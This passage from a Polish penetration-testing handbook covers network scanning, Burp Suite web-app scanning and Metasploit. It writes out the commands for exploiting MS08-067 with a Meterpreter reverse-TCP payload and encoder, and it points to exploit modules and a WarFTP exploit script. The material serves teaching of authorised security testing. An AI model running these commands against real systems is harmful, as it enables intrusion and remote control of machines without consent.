znajduje się pod adresem http://nmap.org/book/man-performance.html). Po uzyskaniu danych mam bardzo dobry obraz dostępnych usług, wersji podatnych na atak i unikatowych luk. Wyniki działania narzędzia Nmap w różnych formatach znajdą się w folderze /opt/peepingtom/. Plikom przyjrzymy się dokładniej w jednym z następnych punktów. Chciałbym jednak pokazać, jak korzystam ze zdobytych danych. Przedstawię teraz, w jaki sposób można pobrać dane banerowe i szybko przeszukać wyniki wszystkich skanów. Skonfigurowałem w prosty sposób bazę danych MongoDB (wybraną ze względu na jej dużą szybkość) — do napisania części klienckiej użyłem języka PHP. W celu przekazania danych do bazy napisałem prosty skrypt w języku Python, który wydobył informacje z pliku XML generowanego przez narzędzie Nmap. Następnie napisałem w PHP stronę umożliwiającą przeszukiwanie bazy. Ponieważ skanowanie dotyczyło dużej sieci, musiałem w łatwy sposób zidentyfikować banery, które mogłyby okazać się ciekawym punktem zaczepienia. Jeżeli znajdę wystarczająco dużo czasu, udostępnię aplikację, tak aby każdy mógł przesłać na serwer swój plik XML i zobaczyć wyniki skanów. Utworzyłem aplikację, której nadałem nazwę Skaner sieci. Aplikacja zapewnia szybkie wyszukiwanie na podstawie baneru, portu lub adresu IP. Co istotne, można wyszukiwać na podstawie banerów z systemów, o których wiadomo, że posiadają luki. Oczywiście trzeba sobie zdawać sprawę z tego, że informacja banerowa przesłana przez serwer może być nieprawdziwa, niemniej po przeprowadzeniu w swoim życiu wielu testów penetracyjnych wiem, że niezgodny z rzeczywistością baner zdarza się rzadko. Rysunek 2.10 przedstawia stronę domową wspomnianej aplikacji.

Rysunek 2.10. Moja aplikacja webowa do analizy danych banerowych ze skryptu NMap 35

PODRĘCZNIK PENTESTERA

Każdy baner warto w prosty sposób sprawdzić za pomocą wyrażenia regularnego, by poszukać interesujących miejsc ataku. Wyniki banerów sortuję na kilka różnych sposobów. Rysunek 2.11 prezentuje banery, którymi mogę się zainteresować po przeprowadzeniu skanu.

Rysunek 2.11. Szukanie interesujących banerów

Prawie od razu udało mi się zidentyfikować banery dotyczące systemów, nad którymi chciałbym spędzić więcej czasu, a nawet systemów, które prawdopodobnie zostały zinfiltrowane. Banery ze słowem „scada” mogą być naprawdę interesujące, gdyż nie jest wykluczone, że prowadzą do danych o sieci elektrycznej. A co z terminalami? Mogę powiedzieć, że doprowadziły mnie do kilku powłok działających bez uprawnień na urządzeniach sieciowych. Przygotowałem sobie wcześniej zapytania o konkretne systemy operacyjne, wersje aplikacji lub inne dane mogące zapewnić łatwy dostęp do dużego systemu. Wykonałem proste wyrażenie regularne dla banerów serwera IIS (ang. Internet Information Services). Wyniki widoczne są na rysunku 2.12. Dzięki pobraniu banerów dla wszystkich 65 tysięcy portów oraz wykorzystaniu mojej aplikacji służącej do wyszukiwania udało się bezproblemowo zlokalizować potencjalne źródła, i to w krótkim czasie.

36

ROZDZIAŁ 2. PRZED GWIZDKIEM — SKANOWANIE SIECI

Rysunek 2.12. Wydobywanie informacji o wersji serwera IIS

Peeping Tom — przechwytywanie ekranu Wróćmy do obsługi wyników skanowania przy użyciu narzędzia Nmap. Osoby realizujące testy penetracyjne muszą zmierzyć się z problemem właściwej organizacji ogromnej liczby danych, by móc w krótkim czasie zidentyfikować system dający dużą szansę szybkiego i skutecznego ataku. Badany zakres adresów może objąć ponad 100 witryn internetowych. Samodzielne odwiedzenie każdej z nich będzie czasochłonne i może nie dać spodziewanych wyników. Wiele znalezionych stron internetowych jest całkowicie bezużytecznych i z powodzeniem może zostać usuniętych z listy przeznaczonej do ręcznego sprawdzenia. Peeping Tom to narzędzie, które pobierze wszystkie wejściowe adresy IP oraz porty, wykona zrzuty ekranu wszystkich usług HTTP(S) i przedstawi je w formacie łatwym do analizy. Oznacza to, że wystarczy jeden rzut oka na stronę HTML, aby stwierdzić, czy na stronie takiej będzie można znaleźć słaby punkt, czy też można ją z czystym sumieniem pominąć. Każdy test penetracyjny to walka z czasem, bo najczęściej jest on ograniczony, a zadań do wykonania jest sporo. Przed uruchomieniem narzędzia Peeping Tom warto przygotować i wyczyścić dane. Skrypt gnmap.pl jest prostym skryptem Perl, który przeanalizuje wcześniejsze wyniki działania narzędzia Nmap i wyczyści je, by pozostała jedynie lista adresów IP3. Aby wyczyścić dane, wykonaj poniższe polecenia: cd /opt/peepingtom/ cat report.gnmap | ./gnmap.pl | grep http | cut -f 1,2 -d "," | tr "," ":" > http_ips.txt

3

http://pauldotcom.com/wiki/index.php/Episode291 37

PODRĘCZNIK PENTESTERA

Wynikiem działania skryptu będzie plik o nazwie http_ips.txt, zawierający pełną listę adresów IP z usługami HTTP. Wystarczy teraz przekazać dane do Peeping Toma, aby pobrał zrzuty ekranu stron. Wykonaj poniższe polecenie: python ./peepingtom.py -p -i http_ips.txt

Przykład przedstawiony poniżej ilustruje uruchomienie narzędzia Peeping Tom dla wyników wcześniejszego skanowania wykonanego za pomocą narzędzia Nmap. Warto zdawać sobie sprawę z tego, że dla niektórych stron HTTP nie uda się wykonać zrzutu i trzeba je odwiedzić samodzielnie. python ./peepingtom.py -p -i http_ips.txt [*] Storing data in '131229_230336/' [*] http://192.168.58.20 200. Good. [*] https://192.168.58.20 200. Good. [*] http://192.168.58.21 403. Good. [*] https://192.168.58.21 . Visit manually from report. [*] http://192.168.58.25 . Visit manually from report. [*] https://192.168.58.25 . Visit manually from report. [*] http://192.168.58.35 . Visit manually from report. [*] http://192.168.58.48 200. Good. [*] https://192.168.58.48 200. Good.

Po zakończeniu pracy narzędzia Peeping Tom pojawi się nowy folder, którego nazwa bazuje na czasie uruchomienia tego narzędzia. Folder zawiera wszystkie zrzuty ekranu oraz plik report.html. Otwórz plik raportu w przeglądarce. W zasadzie już po chwili można stwierdzić, które strony mogą być potencjalnymi celami ataku, a które nimi nie są. Rysunek 2.13 przedstawia fragment strony z wynikami. Raport zawiera wiele zrzutów ekranu. Obok danego zrzutu widoczne są informacje na temat serwera, daty wykonania zrzutu, jak również nagłówków odpowiedzi HTTP. Wyobraź sobie test, w którym trzeba sprawdzić ponad 100 stron. Narzędzie Peeping Tom znacząco przyspieszy realizację tego zadania, bo wstępną analizę można wykonać w kilka minut. Czego tak naprawdę należy szukać? Ponieważ nie ma jednej dobrej odpowiedzi, najważniejsze okazuje się doświadczenie. Oto krótka lista systemów i narzędzi, które z mojej perspektywy są interesujące:  Apache Tomcat,  JBoss,  ColdFusion,  WordPress,  Joomla,  inne systemy zarządzania treścią,  witryny testowe lub funkcjonujące w wersji beta,  strony wymagające uwierzytelnienia, 38

ROZDZIAŁ 2. PRZED GWIZDKIEM — SKANOWANIE SIECI

Rysunek 2.13. Wynik działania narzędzia Peeping Tom

 domyślne strony urządzeń sieciowych,  wiki,  strony z informacją o copyrighcie z poprzedniego lub wcześniejszego roku,  strony VoIP (ang. Voice over Internet Protocol). Głównym powodem, dla którego interesuję się tymi systemami, jest to, że często nie są dobrze zabezpieczone lub zawierają istotne dane. Więcej jest też znanych słabych punktów w Apache, JBoss i ColdFusion niż w innych systemach. Oto kilka przykładów:  Apache — http://www.rapid7.com/db/modules/exploit/multi/http/ tomcat_mgr_deploy, 39

PODRĘCZNIK PENTESTERA

 JBoss — http://www.rapid7.com/db/modules/exploit/multi/http/ jboss_maindeployer,  ColdFusion — http://www.exploit-db.com/exploits/25305/. Dodatkowym powodem, dla którego poszukuję witryn wymagających uwierzytelnienia, jest informacja, że aplikacja zawiera w sobie coś więcej, coś, co zwiększa szansę na odkrycie problemów z nią związanych lub poznanie domyślnego hasła. Przedstawione kroki powinny pozwolić każdej osobie szybko zidentyfikować potencjalne słabe punkty, a także lepiej poznać testowaną sieć. Nie był to pełen opis skanowania sieci, ale moim zdaniem zaprezentowane rozwiązanie jest szybkie i jednocześnie efektywne.

SKANOWANIE APLIKACJI WEBOWYCH Gdy tylko wykonam podstawowe skanowanie i uzyskam informacje od Peeping Toma, od razu przechodzę do skanerów aplikacji webowych. Do realizacji tego rodzaju testów używam w zasadzie tylko jednego narzędzia. Istnieje mnóstwo narzędzi bezpłatnych lub z otwartym kodem źródłowym, takich jak OWASP ZAP, WebScarab, Nikto, w3af. Wszystkie z nich są dobre, ale zawsze staram się wykorzystać narzędzie najszybsze i dające jednocześnie dobre wyniki. Burp Suite Pro (http://portswigger.net/burp/) jest co prawda narzędziem płatnym, jednak kosztuje tylko około 300 dol. To opłacalna inwestycja, ponieważ wspomniane narzędzie jest stale rozwijane, ma liczne funkcje testowania ręcznego, a ponadto wiele osób tworzy dodatkowe rozszerzenia. Podobnie jak było to wcześniej, także w tym podrozdziale nie omówię bardzo dokładnie wszystkich elementów testów penetracyjnych, tym razem dotyczących aplikacji internetowych. Opiszę tylko kroki, które sam w takiej analizie wykonuję. Jeśli chcesz się skupić na dokładnej analizie jednej aplikacji, warto zapoznać się zarówno z systemami analizy kodu źródłowego (na przykład HP Fortify), jak i z dogłębnymi testami aplikacji (bardzo dobrą książką o tej tematyce jest pozycja The Web Application Hacker’s Handbook 2. Finding and Exploiting Security Flaws). Przyjrzyjmy się efektywnemu sposobowi korzystania z narzędzia Burp Suite Pro.

PROCES SKANOWANIA WITRYN W tym punkcie omówię, w jaki sposób używam Burp Suite Pro do skanowania aplikacji internetowych w trakcie prowadzenia testów penetracyjnych sieci. Najczęściej nie mam wystarczająco dużo czasu, aby podczas testów penetracyjnych wykonać pełny test aplikacji internetowej, ale są pewne kroki, które podejmuję, gdy rozpoznam niektóre typowe, duże aplikacje. Kroki te można podzielić na:  analizę i skanowanie przy użyciu Burp Suite Pro (w dalszej części książki używam nazwy Burp Suite),

40

ROZDZIAŁ 2. PRZED GWIZDKIEM — SKANOWANIE SIECI

 skanowanie za pomocą narzędzia do skanowania aplikacji internetowych,  ręczne wstrzykiwanie parametrów,  analizę danych sesji i tokenów.

SKANOWANIE APLIKACJI INTERNETOWYCH Po wykorzystaniu narzędzia typu Nessus lub Nexpose w celu znalezienia typowych słabych punktów w systemie, usłudze lub aplikacji, najwyższy czas nieco dokładniej przyjrzeć się aplikacjom internetowym. Opiszę, w jaki sposób użyć narzędzia Burp Suite i dokładniej przeanalizować aplikację. Oto kroki, które wykonamy: 1. Konfiguracja proxy. 2. Włączenie Burp Suite. 3. Przejście przez elementy aplikacji. 4. Analiza zawartości. 5. Uruchomienie aktywnego skanera. 6. Wykorzystanie znalezionych luk.

Konfiguracja proxy sieci oraz przeglądarki W wyniku działania Burp Suite przeglądarka internetowa jest zmuszana do tego, by komunikować się z tym narzędziem, podczas gdy narzędzie kontaktuje się z właściwą aplikacją. Dzięki temu nie zostaną pominięte żadne dodatkowe żądania przesyłane przez przeglądarkę, a same żądania będzie można dowolnie modyfikować niezależnie od zabezpieczeń wprowadzonych po stronie klienta. Przede wszystkim uruchom Burp Suite w systemie Windows lub Kali Linux za pomocą pliku JAR. Po uruchomieniu narzędzia upewnij się, że proxy jest włączone i nasłuchuje na porcie 8080. Wyświetl w narzędziu Burp Suite zawartość karty Proxy, a następnie — karty Options, by upewnić się, że wszystko działa (rysunek 2.14). Nie ma dużego znaczenia, który port zostanie użyty, ale jeśli będzie to port inny niż domyślny, pamiętaj o zmianie konfiguracji w przeglądarce internetowej. Następny krok to konfiguracja przeglądarki w taki sposób, by używała portu, na którym nasłuchuje Burp Proxy. Dodatek, z którego korzystam, nosi nazwę FoxyProxy for Firefox (https://addons.mozilla.org/pl/firefox/addon/foxyproxy-standard/) i powinien być już zainstalowany zgodnie z opisem z rozdziału 1. Dodatek ułatwia stosowanie kilku proxy, ponieważ można się między nimi szybko przełączyć. Tuż obok adresu URL znajduje się ikona lisa wraz z czerwonym przekreśleniem. Kliknij ją, a następnie kliknij Add New Proxy, po czym przejdź na kartę Proxy Details, a następnie w części Manual Proxy Configuration wpisz w polu Host or IP Address adres 127.0.0.1, a w polu Port — numer 8080 (rysunek 2.15). Powróć na kartę General, nadaj proxy nazwę i zapisz konfigurację.

41

PODRĘCZNIK PENTESTERA

Rysunek 2.14. Włączenie proxy w Burp Suite

Rysunek 2.15. Konfiguracja ustawień proxy przeglądarki internetowej

W ten sposób poinformowaliśmy przeglądarkę, żeby cały ruch związany z przeglądaniem internetu kierowała na port 8080 lokalnego komputera. To właśnie na tym porcie nasłuchuje narzędzie Burp Suite. Narzędzie to wie, że cały ruch ma pokierować dalej do właściwego celu. Po zapisaniu profilu kliknij ikonę, korzystając z prawego przycisku myszy, i z menu rozwijanego wybierz dodaną właśnie konfigurację. Nadałem konfiguracji nazwę Burp Suite, więc właśnie ją wybieram (rysunek 2.16). 42

ROZDZIAŁ 2. PRZED GWIZDKIEM — SKANOWANIE SIECI

Rysunek 2.16. Wybór ustawień proxy

Jeśli przeglądarka używa proxy, możemy przejść do znalezionej wcześniej aplikacji internetowej. W tym przypadku odwiedzam swoją witrynę https://www.securepla.net. Gdy teraz przechodzę do narzędzia Burp Suite, zauważam, że karta Intercept, dostępna za pomocą zakładki Proxy, jest podświetlona (rysunek 2.17).

Rysunek 2.17. Burp Suite przechwytuje przechodzący przez niego ruch internetowy

Przechwycenie ruchu internetowego oznacza, że wszystko zostało skonfigurowane poprawnie. W narzędziu Burp Suite można się przyjrzeć żądaniu GET przesłanemu do mojej witryny. Znajduje się tam również informacja o cookie i inne dane. Domyślnie narzędzie Burp Suite przechwytuje cały ruch. Przechwytywanie daje szansę na zatrzymanie żądania przekazanego od przeglądarki do serwera, odczytanie go (a nawet na jego zmianę) i przesłanie dalej lub odrzucenie. Przeglądanie dowolnej witryny z domyślnymi ustawieniami uniemożliwia zobaczenie odpowiedzi tak długo, dopóki nie zostanie wyłączony przycisk Intercept is on. Wyłączenie go nadal zapewnia przechwytywanie całego ruchu, przy czym nie będzie możliwa modyfikacja tegoż ruchu. Przy wyłączonym przycisku Intercept is on wszystkie żądania i odpowiedzi na nie pojawiają się na karcie History. Karta Target zawiera informację o adresie URL, który został przechwycony i przesłany dalej. Dodajmy witrynę do zakresu badania (Scope). Zakres badania definiuje adresy, dla których będzie prowadzona automatyczna analiza — pomaga to pozbyć się z aktywnego 43

PODRĘCZNIK PENTESTERA

skanowania tych domen, którymi nie jesteśmy zainteresowani. Powrócimy do tego tematu nieco później, ale juz teraz warto dodać do zakresu badania wszystkie adresy URL i domeny. Rysunek 2.18 ilustruje sytuację, w której następuje kliknięcie nazwy domeny i wybranie z menu polecenia Add to scope.

Rysunek 2.18. Dodawanie witryny do zakresu badania

Zastosowanie przeszukiwania i indeksacji stron Pierwszym zadaniem w przypadku testowania witryny internetowej jest wyszukanie wszystkich jej stron. Oznacza to, że Burp Suite pobierze każdą stronę WWW i sprawdzi dostępne na niej adresy URL w poszukiwaniu plików, formularzy itp. Wyszukiwanie jest pierwszym zadaniem, ponieważ chcemy poznać wszystkie łącza, rodzaje przekazywanych parametrów i odwołania do innych witryn, jak również chcemy wyrobić sobie pogląd na kwestię sposobu działania witryny. Aby przeszukać witrynę, przejdź na kartę Target, następnie na kartę Site map, po czym kliknij nazwę domeny, którą należy sprawdzić, i wybierz polecenie Spider this host (rysunek 2.19). Po zakończeniu procesu przeszukiwania narzędzie Burp Suite będzie już w miarę dobrze znało rozkład adresów i parametrów obsługiwanych przez witrynę. Można kliknąć dowolny adres lub plik (rysunek 2.20), by poznać wysłane żądanie i uzyskaną odpowiedź. Po lewej stronie znajduje się lista wszystkich plików i folderów. Tuż poniżej zakładki Site map dostępny jest przycisk Filter. Spróbuj go przetestować, by przekonać się, czy potrafisz odfiltrować zbędne informacje. Przede wszystkim dodaję do zakresu wszystkie istotne domeny, a następnie włączam filtrację, by wyświetlić tylko te domeny, które znajdowały się w wyznaczonym zakresie. Powoduje to usunięcie z listy wszystkich witryn, dla których i tak nie będę przeprowadzał żadnych testów. 44

ROZDZIAŁ 2. PRZED GWIZDKIEM — SKANOWANIE SIECI

Rysunek 2.19. Uruchamianie przeszukiwania witryny

Rysunek 2.20. Karta Site map — żądanie oraz odpowiedź

Odkrywanie treści Są sytuacje, w których strony WWW lub foldery nie posiadają bezpośredniego łącza z poziomu głównej strony WWW — w szczególności dotyczy to sytuacji, w której folder panelu administracyjnego lub folder logowania nie pojawia się jako jeden z adresów URL na pozostałych stronach. W przeglądarce internetowej widać wyraźnie, że użytkownik jest przekierowywany na stronę /admin/ i pojawia się prośba o uwierzytelnienie, ale wspomniana strona nie znajduje się na liście znalezionych adresów. Wynika to z faktu, iż administratorzy strony starają się ukryć adresy paneli administracyjnych przed standardowymi odwiedzającymi. Z perspektywy testera to są właśnie najbardziej cenne adresy — takie, 45

PODRĘCZNIK PENTESTERA

na których zależy mu najbardziej, gdyż być może uda mu się włamać do systemu, obchodząc lub łamiąc system logowania. Burp Suite zawiera specjalny moduł, który pomaga w tego rodzaju sytuacjach. Na karcie Site map kliknij, korzystając z prawego przycisku myszy, główny adres URL, wybierz polecenie Engagement tools, a następnie — polecenie Discover content (rysunek 2.21).

Rysunek 2.21. Odkrywanie zawartości

Wewnątrz modułu kliknij przycisk Session is running (rysunek 2.22). Aplikacja rozpocznie „inteligentne poszukiwanie” folderów i struktury plików. Mówiąc o „inteligentnym poszukiwaniu”, mam na myśli uczenie się przez aplikację nowych lokalizacji na podstawie istniejących plików i folderów. Dzięki tej technice można w dosyć szybki sposób znaleźć dodatkowe foldery i pliki, którym warto przyjrzeć się bliżej.

Rysunek 2.22. Status sesji odkrywania witryny 46

ROZDZIAŁ 2. PRZED GWIZDKIEM — SKANOWANIE SIECI

Zanim przedstawię przykład, chciałbym podkreślić, że używam własnych list słów w trakcie poszukiwań. Nie jestem pewien, czy Raft jest nadal aktywnie rozwijany, ale parę lat temu kilka osób wygłosiło wykład na temat tworzenia lepszych list typowych folderów i plików. Dobór właściwej listy powinien zależeć od rodzaju witryny i zakresu testu. Dostępne listy można znaleźć pod adresem http://code.google.com/p/raft/source/browse/ trunk/data/wordlists/?r=64. Jak można zobaczyć na rysunku 2.22, narzędzie Burp Suite odnalazło folder /wp-includes/, który pojawia się w aplikacjach WordPressa. Następnie starało się znaleźć w tym folderze inne typowe pliki i foldery. Aby zobaczyć wszystkie wyniki skanowania, kliknij zakładkę Site map wewnątrz modułu Discovery. W ten sposób można bardzo szybko znaleźć ukryte foldery, strony administracyjne i inne strony przydatne dla testera.

Uruchomienie skanera aktywnego Gdy mamy poczucie, że udało się odnaleźć dużą część folderów witryny, można rozpocząć atakowanie serwera przy użyciu nietypowych parametrów i żądań, aby przekonać się, czy nie pojawią się luki. W tym celu kliknij nazwę domeny głównej, korzystając z prawego przycisku myszy, i wybierz polecenie Actively scan this host (rysunek 2.23). Uruchomi się wówczas skaner aplikacji narzędzia Burp Suite, który rozpocznie bombardowanie serwera różnymi parametrami. Pamiętaj, że operacja tego typu jest bardzo intensywna pod względem przesyłania danych w sieci. Ostrzeżenie: jeśli aplikacja zawiera formularz komentarza, klient może otrzymać mnóstwo e-maili z testowanymi wartościami parametrów. Z tego powodu warto dać klientowi wcześniej znać, kiedy i skąd będzie się przeprowadzało skanowanie aktywne.

Rysunek 2.23. Skanowanie aktywne

Podczas działania skanera wyniki i kolejka testowania będą pojawiały się na karcie Scanner. Warto zajrzeć na kartę Options wewnątrz karty Scanner, żeby skonfigurować narzędzie Burp Suite. Aby przyspieszyć wykonywanie skanowania, najczęściej zwiększam liczbę wątków wskazaną w części Active Scan Engine. W ten sposób można znacząco skrócić czas oczekiwania na wyniki, ale nie należy z tym przesadzać, bo zbyt intensywny test może uniemożliwić działanie niewielkiego serwera. 47

PODRĘCZNIK PENTESTERA

Gdy przyjrzymy się wynikom (rysunek 2.24), zauważymy, że Burp Suite znalazło w witrynie lukę XSS (ang. Cross-Site Scripting). Narzędzie poinformowało o konkretnym problemie, wskazało żądanie, za pomocą którego można uzyskać ten sam efekt, a także przedstawiło odpowiedź serwera.

Rysunek 2.24. Wyniki skanu

Jako tester wykonujący testy penetracyjne musisz sprawdzić, czy narzędzie nie poinformowało o luce, która tak naprawdę nie istnieje, a także określić rzeczywisty poziom zagrożenia. Sprawdźmy, czy to, co znalazło narzędzie Burp Suite, w istocie jest luką w systemie. Po kliknięciu znalezionej luki możemy się przekonać, jaki dokładnie parametr żądania GET został użyty. Aby go powtórzyć, wpisz w przeglądarce następujący adres: www.securepla.net/xss_example/example.php?alert=9228a 281717daa8d (rysunek 2.25).

Rysunek 2.25. Przykład ataku XSS

Po otwarciu przeglądarki i wpisaniu adresu można się łatwo przekonać, że nie jest to żadna pomyłka narzędzia, lecz rzeczywista luka. Jeśli ataki XSS nie są Ci dobrze znane, 48

ROZDZIAŁ 2. PRZED GWIZDKIEM — SKANOWANIE SIECI

polecam zabawę z frameworkiem wykrywającym luki w aplikacjach webowych, takim jak WebGoat (https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project). Burp Suite poszukuje nie tylko luk XSS. Potrafi również znaleźć problemy takie jak: CSRF (ang. Cross-Site Request Forgery), niewłaściwe certyfikaty SSL (ang. Secure Sockets Layer), błędy umożliwiające przeszukiwanie folderów, wstrzykiwanie SQL (ang. Structured Query Language), wstrzykiwanie poleceń itp. Więcej przykładów użycia Burp Suite pojawi się w rozdziale 4.

PODSUMOWANIE Skanowanie sieci to niezwykle istotny krok w trakcie prowadzenia testów penetracyjnych. Przy bardzo dużym zakresie poszukiwań zarówno skanowanie pasywne, jak i aktywne pozwala uzyskać informacje na temat sieci, usług, aplikacji, luk i serwerów. Użycie wyspecjalizowanych lub dostosowanych do własnych potrzeb skanerów portów, analiza danych znalezionych w sieci, „inteligentna metoda brutalnego ataku” i automatyczne narzędzia — wszystko to pomaga w szybkim i efektywnym wykonaniu testu. Znalezione luki wykorzystamy w kilku następnych rozdziałach, aby dostać się do systemu i zdobyć dodatkowe informacje.

49

PODRĘCZNIK PENTESTERA

50

Rozdział 3.

CIĄG — WYKORZYSTYWANIE SŁABOŚCI WYKRYTYCH PRZEZ SKANERY W przypadku ciągu, gdy widzimy lukę, tylko od nas samych zależy, czy ją wykorzystamy. Istnieje wiele różnych rodzajów słabych punktów zgłaszanych przez skanery. W tym rozdziale omówię dwa podstawowe sposoby wykorzystywania popularnych luk. Rozdział będzie zawierał jedynie ogólny opis, ponieważ zamieszczenie opisu każdej popularnej luki spowodowałoby, że książka stałaby się niezwykle długa. Zakładam, że posiadasz już pewne doświadczenie w przedostawaniu się przez słabe punkty, tak więc rozdział ten będzie dla Ciebie jedynie uzupełnieniem lub odświeżeniem posiadanej wiedzy. To, czy używamy narzędzia Nexpose, czy Nessus (lub dowolnego innego skanera), nie ma dużego wpływu na sam proces wykorzystania luki. Gdy skaner wykryje słaby punkt, poszukuję właściwego rozwiązania pozwalającego przebić się przez ten punkt. W dalszych rozdziałach poświęciłem nieco miejsca opisowi poszukiwania sposobów wykorzystania luk oraz wykorzystania danych zwróconych przez skaner. W tym rozdziale skupię się głównie na narzędziu Metasploit oraz na użyciu skryptów do wykorzystywania słabych punktów.

METASPLOIT Najpopularniejszym narzędziem do wykorzystywania luk jest Metasploit (http://www. metasploit.com; systemy Windows i Kali Linux). Narzędzie to zostało zaprojektowane do tworzenia, realizacji lub wspomagania ataków. Chyba najlepszym aspektem prezentowanego narzędzia jest to, że powstawało ono z myślą o pracach rozwojowych. Mam tu na uwadze głównie łatwość tworzenia własnych modułów1 i wykorzystania już dostępnych. Tworzenie modułów nie wymaga bardzo dokładnej znajomości języka Ruby — w zasadzie wystarczy podstawowa umiejętność pisania skryptów. Zamiast omawiać poszczególne elementy narzędzia Metasploit, prześledźmy jego użycie na konkretnym przykładzie. 1

http://www.offensive-security.com/metasploit-unleashed/Building_A_Module

PODRĘCZNIK PENTESTERA

PODSTAWOWE KROKI ZWIĄZANE Z KONFIGURACJĄ ZDALNEGO ATAKU  Wybierz lukę lub moduł, z którego masz zamiar skorzystać.  Ustaw odpowiednie opcje modułu. Do wprowadzania wartości wejściowych do konfiguracji modułu służy polecenie set.  Ustaw adres serwera i porty ofiary.  Ustaw lokalne adresy i porty.  W niektórych sytuacjach ustaw wersję systemu, konto użytkownika lub inne informacje.  Użyj polecenia show options, aby poznać wszystkie wymagane lub opcjonalne parametry.  Skonfiguruj właściwy ładunek. Właściwym ładunkiem nazywa się wszystko to, co ma się stać po wykorzystaniu luki. Aby lepiej zrozumieć rodzaje ładunków, warto zapoznać się z zawartością strony dostępnej pod adresem http://www.offensive-security.com/metasploit-unleashed/Payload_Types.  Zastosuj polecenie show payloads, aby wyświetlić wszystkie możliwe ładunki.  Użyj polecenia set payloads, aby skonfigurować ładunki.  Ustaw enkoder. To najprostszy sposób ukrycia ataku dostępny w narzędziu Metasploit. Niestety nadal często wzbudza alarm w przypadku systemu antywirusowego. Nie jest to bezproblemowe rozwiązanie w kwestii testów penetracyjnych.  Aby zobaczyć enkodery, użyj polecenia show encoders.  Aby zastosować któryś z nich, skorzystaj z polecenia set encoders.  Ustaw opcje dodatkowe.  Wykonaj ustawiony atak, wywołując polecenie exploit. Ponieważ najczęściej korzystam z wersji Metasploita działającej na poziomie wiersza poleceń, wiem, że czasem niełatwo zapamiętać wszystkie rodzaje poleceń. Dużą pomocą okazuje się ściągawka dostępna pod adresem http://www.cheatography.com/huntereight/ cheat-sheets/metasploit-4-5-0-dev-15713/. Oczywiście w narzędziu cały czas dostępne jest polecenie help.

PRZESZUKIWANIE METASPLOITA (STARA, DOBRA LUKA MS08-067) Wiem, że luka MS08-067 jest bardzo stara. Co ciekawe, nie tylko bardzo często pozostaje niewypełniona, ale również atak przy jej użyciu jest wyjątkowo stabilny w porównaniu z innymi atakami. Osobom, które nigdy wcześniej nie wypróbowały skutków luki MS08-067, polecam skonfigurowanie środowiska testowego ze starym, niezałatanym sys52

ROZDZIAŁ 3. CIĄG — WYKORZYSTYWANIE SŁABOŚCI WYKRYTYCH PRZEZ SKANERY

temem Windows XP i wykonanie przedstawionego przykładu. Jeśli luka jest Ci dobrze znana, pomiń tę część rozdziału.  Przejdź do narzędzia Metasploit w systemie Kali Linux.  Otwórz terminal i wpisz polecenie msfconsole.  Aby wyszukać lukę (rysunek 3.1), wpisz: search ms08-067

Rysunek 3.1. Przykład luki MS08-067 w narzędziu Metasploit

Aby dostać się do systemu za pomocą luki MS08-067, wykonaj poniższe kroki:  Wybierz właściwy skrypt użycia luki pochodzący z wyników wyszukiwania: use exploit/windows/smb/ms08_067_netapi

 Wyświetl opcje niezbędne do właściwej konfiguracji skryptu (rysunek 3.2): show options

Rysunek 3.2. Opcje użycia luki MS08-067

 Ustaw informacje na temat adresów IP:  set RHOST [adres IP komputera zawierającego lukę],  set LHOST [adres IP własnego komputera]. 53

PODRĘCZNIK PENTESTERA

 Wybierz ładunek do przesłania oraz enkoder:  set PAYLOAD windows/meterpreter/reverse_tcp,  set ENCODER x86/shikata_ga_nai.  Rozpocznij atak, wpisując poniższe polecenie: exploit

W dalszej części książki (w rozdziale 8.) przedstawię, w jaki sposób użyć narzędzia Meterpreter do wykonania właściwego ładunku TCP, aby nie został wykryty przez program antywirusowy. Oznacza to porzucenie rozwiązań, w których używa się shikata_ga_nai i liczy się na łut szczęścia w kwestii programu antywirusowego.

SKRYPTY Wielokrotnie zdarzało mi się znaleźć mechanizmy wykorzystania luk, które nie zostały zawarte w narzędziu Metasploit. Najczęściej szukam luk na podstawie numerów wersji uzyskanych ze skryptu pobierania banerów. Szukam skryptów wykorzystujących luki w różnych miejscach (patrz rozdział 9.). Często zdarza się, że skrypty są napisane w języku C++ lub w językach skryptowych, takich jak Python, Ruby, Perl lub Bash. Będąc testerem wykonującym testy penetracyjne, trzeba wiedzieć, w jaki sposób można zmodyfikować, poprawić, wykonać i zrozumieć kod wykorzystujący lukę. Nie polecam uruchamiania skryptów bez ich wcześniejszego sprawdzenia. Zdarzało się bowiem, że na forum lub w bazie Exploit-DB pojawiały się skrypty, które w jakiś sposób uszkadzały atakowany system. Skrypt wykorzystujący lukę zdobywał kontrolę nad systemem, a następnie uruchamiał ładunek, który usuwał całą zawartość zaatakowanego systemu. Jestem pewien, że klient nie będzie zadowolony, gdy system, który należało sprawdzić, zostanie nagle wyczyszczony. Z tego powodu tak ważne jest stosowanie jedynie własnych skryptów lub skryptów, których kod został wcześniej dokładnie sprawdzony.

PRZYKŁADOWA LUKA W WARFTP Przypuśćmy, że udało się znaleźć serwer WarFTP w wersji zawierającej lukę oraz skrypt ją wykorzystujący (na przykład pod adresem http://downloads.securityfocus.com/vulner abilities/exploits/22944.py). Oto aspekty, którymi warto się zainteresować:  W jaki sposób uruchomić kod wykorzystujący lukę? W jakim języku został napisany? Czy trzeba go skompilować? Czy są potrzebne dodatkowe biblioteki?  Czy skrypt wymaga do działania pewnej konkretnej wersji? Czy działa w systemie Windows, czy Linux? Czy potrzebuje DEP (ang. Data Execution Prevention) lub ASLR (ang. Address Space Layout Randomization)?  Czy adresy EIP (ang. Extended Insertion Point) lub inne rejestry i wartości wyrównania są zapisane na sztywno? Czy muszą zostać zmodyfikowane? 54

ROZDZIAŁ 3. CIĄG — WYKORZYSTYWANIE SŁABOŚCI WYKRYTYCH PRZEZ SKANERY

 Czy skrypt wykorzystujący lukę zawiesi działanie usługi? Czy wykorzystanie go jest jedynie jednorazową szansą? To bardzo ważne, bo czasem współpraca z klientem będzie niezbędna. Niekiedy trzeba będzie przeprowadzić test na podobnej architekturze i w podobnym środowisku. Rysunek 3.3 przedstawia przykładowy wygląd skryptu. Jeśli zostanie uruchomiony prawidłowo, powinien zapewnić dostęp do serwera ofiary na poziomie wiersza poleceń.

Rysunek 3.3. Przykładowy skrypt wykorzystujący lukę

